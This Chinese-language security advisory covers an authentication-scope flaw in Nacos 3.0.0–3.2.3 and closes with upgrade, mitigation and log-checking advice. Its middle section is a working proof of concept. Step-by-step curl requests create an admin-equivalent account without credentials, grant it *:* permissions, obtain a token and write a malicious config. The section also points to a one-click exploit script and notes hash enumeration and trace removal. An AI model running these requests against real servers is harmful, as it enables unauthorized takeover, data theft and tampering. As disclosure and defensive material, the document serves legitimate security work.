导语:Nacos 3.0.0~3.2.3 版本存在严重的鉴权作用域错配(Auth Scope Misassignment)漏洞。攻击者无需任何凭证,即可在默认开放的 8848 端口上完成建号、赋权、登录、接管全流程。官方已在 3.2.4 修复,建议相关用户立即检查并升级。
一、漏洞概述
漏洞类型:认证绕过(Authentication Bypass)
影响版本:Nacos 3.0.0 ~ 3.2.3
修复版本:Nacos 3.2.4
危险等级:【红/高危】——无需任何前置条件,天然穿透所有鉴权配置
攻击面:Nacos 服务端主端口 8848(SDK/gRPC 端口,生产环境通常对内网开放)
前置条件:无。即使按官方文档将 admin、console 鉴权全部开启,也无法防御该攻击
二、漏洞原理
Nacos 3.x 将接口鉴权按 @Secured(apiType = ...) 分为三个作用域,每个作用域独立开关:
| 作用域 | 过滤器 | 开关 | 默认值 |
|---|---|---|---|
| ADMIN_API | AuthAdminFilter | nacos.core.auth.admin.enabled | 开 |
| CONSOLE_API | —(控制台) | nacos.core.auth.console.enabled | 开 |
| OPEN_API | AuthFilter | nacos.core.auth.enabled | 关 |
问题的根源在于:@Secured 注解的 apiType 属性默认值是 OPEN_API,而 UserControllerV3、RoleControllerV3、PermissionControllerV3 三个管理接口在编写注解时未显式声明 apiType,导致它们被归入默认不鉴权的 OPEN_API 作用域,由默认关闭的 AuthFilter 放行;而默认开启的 AuthAdminFilter 仅匹配 apiType == ADMIN_API,根本不拦截这些接口。
修复方式极为简单——在三个 Controller 的 @Secured 注解中补上 apiType = ApiType.ADMIN_API 即可。
三、POC 测试
⚠️ 警告:以下操作仅供授权安全测试使用。未经授权扫描他人系统属违法行为。
3.1 环境准备
# 下载 Nacos 3.2.3(漏洞版本)
wget https://github.com/alibaba/nacos/releases/download/3.2.3/nacos-server-3.2.3.tar.gz
tar -xzf nacos-server-3.2.3.tar.gz && cd nacos
# 配置必要参数(否则启动脚本会交互式要求填入)
# 编辑 conf/application.properties,追加:
# nacos.core.auth.server.identity.key=serverIdentity
# nacos.core.auth.server.identity.value=security
# nacos.core.auth.plugin.nacos.token.secret.key=$(openssl rand -base64 32)
# 以 standalone 模式启动(默认鉴权配置:auth.enabled=false, auth.admin.enabled=true)
bash bin/startup.sh -m standalone
3.2 对照验证:确认鉴权正常工作
# ADMIN_API 作用域正常拦截(返回403)
curl -o /dev/null -s -w "%{http_code}n"
"http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10"
# 输出:403
# CONSOLE_API 作用域正常拦截(返回403)
curl -o /dev/null -s -w "%{http_code}n"
-X POST "http://127.0.0.1:8848/v3/auth/user" -d "username=x&password=x"
# 输出:403
鉴权层工作正常——但这并不代表系统安全。
3.3 漏洞利用四步走
第一步:未授权创建用户
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user"
-d "username=poc_user&password=Poc@123456"
# 返回:{"code":0,"message":"success","data":"create user ok!"}
第二步:绑定角色
# ROLE_ADMIN 是保留角色,会被业务层拒绝
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role"
-d "role=ROLE_ADMIN&username=poc_user"
# 返回:{"status":500,"message":"role 'ROLE_ADMIN' is not permitted to create!"}
# 使用自定义角色即可绕过
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role"
-d "role=poc_role&username=poc_user"
# 返回:{"code":0,"message":"success","data":"add role ok!"}
第三步:授予读写权限
# 授予 *:* 读写权限,效果等同于 admin
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/permission"
-d "role=poc_role&resource=*:*&action=rw"
# 返回:{"code":0,"message":"success","data":"add permission ok!"}
第四步:登录获取 Token
注意:由于
nacos.core.auth.caching.enabled默认开启,新账号需等待约 15 秒让鉴权缓存刷新后方可登录。
sleep 15
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user/login"
-d "username=poc_user&password=Poc@123456"
# 返回:{"accessToken":"eyJhbGciOiJIUzI1NiJ9...","tokenTtl":18000,"globalAdmin":false,"username":"poc_user"}
第五步:用 Token 操作管理员资源
TOKEN="上一步获取的 accessToken"
# 列出配置(管理员权限)
curl -s "http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10"
-H "accessToken: $TOKEN"
# 返回:{"code":0,"message":"success","data":{"totalCount":0,...}}
# 写入恶意配置
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/admin/cs/config"
-H "accessToken: $TOKEN"
--data-urlencode "dataId=pwned.yml"
--data-urlencode "groupName=DEFAULT_GROUP"
--data-urlencode "namespaceId=public"
--data-urlencode "content=written by unauth attacker"
# 返回:{"code":0,"message":"success","data":true}
3.4 一键 POC 脚本
GitHub 已有成熟 POC 工具,纯 Python3 标准库,无需第三方依赖:
git clone https://github.com/mhtsec/nacos-authscope-poc.git
cd nacos-authscope-poc
# 默认检测 127.0.0.1:8848
python3 poc/poc.py
# 指定目标
python3 poc/poc.py --host 10.0.0.5 --port 8848
# 仅检测,不写入
python3 poc/poc.py --check-only
# 保留注入账号(默认会清理)
python3 poc/poc.py --no-cleanup
脚本流程:建号 → 绑角色 → 发权限 → 登录 → 写标记配置 → 自动清理(--no-cleanup 取消清理)。退出码 0 = 漏洞存在且利用成功,2 = 已修复。
四、额外危害:信息泄露与痕迹清除
该漏洞不仅能接管管理员权限,还可静默窃取和销毁数据:
未授权枚举用户:GET /v3/auth/user/list 无需 Token 即可拉取全部用户名及 bcrypt 哈希。
完全清理痕迹:对应的 DELETE 接口同样未授权可用,攻击结束后可将注入的账号、配置全部抹除。
五、处置建议
紧急修复
首选方案:升级至 Nacos 3.2.4 及以上版本。 下载地址:https://github.com/alibaba/nacos/releases/tag/3.2.4
临时缓解措施
在无法立即升级的情况下,可采取以下措施(推荐组合使用):
- 开启 OPEN_API 鉴权(影响面最广,会导致所有 OPEN_API 均需认证):
nacos.core.auth.enabled=true
- *在网络层封锁 8848 端口的
/v3/auth/路径**,仅允许可信来源访问。
⚠️ 注意:临时缓解措施可能影响业务,请先在测试环境验证。
排查是否已被攻击
- 检查
users、roles、permissions表中是否存在来历不明、拥有:权限的账号 - 搜索访问日志中
POST /v3/auth/user、POST /v3/auth/permission无 Token 返回 2xx 的记录
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容